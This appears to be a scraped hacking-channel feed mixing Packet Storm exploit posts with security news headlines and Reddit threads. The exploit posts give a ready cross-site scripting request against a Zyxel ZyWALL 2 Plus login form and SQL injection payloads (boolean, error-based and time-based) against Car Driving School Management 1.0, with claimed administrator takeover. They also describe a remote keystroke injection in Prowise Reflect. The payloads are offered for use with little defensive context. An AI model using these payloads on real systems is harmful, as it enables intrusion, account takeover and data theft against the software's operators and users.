Exploit Collector
Zyxel ZyWALL 2 Plus Cross Site Scripting

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Zyxel ZyWALL 2 Plus suffers from a cross site scripting vulnerability.

MD5 | fd4b0dad3ba6f24a0a04bfd6719dc3ee

Download
# Exploit Title: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting (XSS)
# Date: 1/3/2022
# Exploit Author: Momen Eldawakhly (CyberGuy)
# Vendor Homepage: https://www.zyxel.com
# Version: ZyWALL 2 Plus
# Tested on: Ubuntu Linux [Firefox]
# CVE : CVE-2021-46387

GET /Forms/rpAuth_1?id=%3C/form%3E%3CiMg%20src=x%20onerror=%22prompt(1)%22%3E%3Cform%3E HTTP/1.1
Host: vuln.ip:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Xerte 3.9 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Car Driving School Management 1.0 SQL Injection

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Car Driving School Management version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 93a8b3fb52268fedea1b0ec1f090ea42

Download
## Title: Car Driving School Management v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.02.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15070/car-driving-school-management-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571

## Description:
The `username` parameter on Car Driving School Management v1.0 appears
to be vulnerable to SQL injection attacks.
A single quote was submitted in the username parameter, and a database
error message was returned.
Two single quotes were then submitted and the error message disappeared.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=DMdqCjGG' OR NOT 6823=6823-- yrqx&password=a5Y!f7m!O0

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: username=DMdqCjGG' AND (SELECT 9746 FROM(SELECT
COUNT(*),CONCAT(0x71786b7671,(SELECT
(ELT(9746=9746,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gzNl&password=a5Y!f7m!O0

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=DMdqCjGG' AND (SELECT 9290 FROM
(SELECT(SLEEP(5)))RWHi)-- vsyd&password=a5Y!f7m!O0
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571)

## Proof and Exploit:
[href](https://streamable.com/n9r8uk)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Prowise Reflect 1.0.9 Remote Keystroke Injection

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
Prowise Reflect version 1.0.9 suffers from a remote keystroke injection vulnerability.

MD5 | 4e08fc9cb25c1afd33556845fb9ee195

Download
# Exploit Title: Prowise Reflect v1.0.9 - Remote Keystroke Injection
# Date: 30/10/2022
# Exploit Author: Rik Lutz
# Vendor Homepage: https://www.prowise.com/
# Version: V1.0.9
# Tested on: Windows 10

# Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection.
# Much like how a rubber ducky attack works but this works either over the network (when port 8082 is exposed),
# or by visiting a malicious website. This POC contains the malicious webpage.
# Steps:
# 1. Start Prowise reflect
# 2. Try to connect to a reflect server e.q. ygm7u6od
# 3. When it is connecting click exploit
# - Start menu will open, types notepad.exe and types hello world.
Exploit!

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Reduce Risk With Better Cyber Due Diligence

Done incorrectly, due diligence can result in slower integration of assets, which increases acquisition costs associated and could reduce expected gains.

Dark Reading: Attacks/Breaches
NeuraLegion Rebrands as Bright Security

Also announces $20 million Series A funding round led by Evolution Equity Partners.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
3 Ways to Expand Gender Diversity in Cybersecurity

Why this is important: A business that surrounds itself with the same kind of people who work on the same projects will not generate new or original ideas.

Dark Reading: Attacks/Breaches
Ordr Launches Clinical Defender to Streamline Management of Connected Medical Devices

Ordr Clinical Defender, running on the new Ordr 8 Software release, provides focused, actionable, and accurate HTM insights and workflows.

___________________________
@hacking_Attack
@Hacking_Video

What is the John The Riper(JTR)? How to use JTR?

What is the John The Riper?Continue reading on Medium »
Read more...

hacking: security in practice
Bash Tricks for File Exfiltration over HTTP/S using Flask

https://external-preview.redd.it/b6NglncjLTpcojypR2K_87kpK4v45RK0aT99FzJ1z5s.jpg?width=640&crop=smart&auto=webp&s=f6833d48dcb365a6add71a194aa876b44e950665 submitted by /u/cyberbutler
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Attacks abusing programming APIs grew over 600% in 2021

https://external-preview.redd.it/XwymPzuK0BO0JU112FgXjEgSc1F0TOvzSCz9MgOgwag.jpg?width=640&crop=smart&auto=webp&s=c5fd3db860f469058ce1adeb0aa675860f2ed11d submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Raid forums has been siezed?

Recently one of the larger hacker forums stopped working, Raid Forums, and on the telegram one of the admins revealed that the domain had been siezed. Since then the telegram channel has also been removed, and now when you visit Raid Forums all links take you to the login page, but when you try to login it gives you an error and nothing happens.

​

For context, Raid Forums is one of the biggest hacking forums which is most widely known for posting databases of hacked information as well as other sensitive hacked information. It's pretty surprising how long it's lasted, but this is probably the end of it (maybe?).

​

Anyone else know anything about this?

​

https://briardforce.com/the-largest-hacker-forum-suddenly-stopped-working/

​

Edit:

Also the current version of the website is a clone for phishing, so I don't recommend anyone attempting to login

Another thread talking about it

https://lowendtalk.com/discussion/177441/rf-hacked-or-seized-after-banned-russian-telegram-disappeared

submitted by /u/Ncloawk
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
why do most hacker groups have twitter?

ive seen many hacker groups that have twitter i was wondering how are they even not banned or something is twitter more secure or something

submitted by /u/TheHolyTachankaYT
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video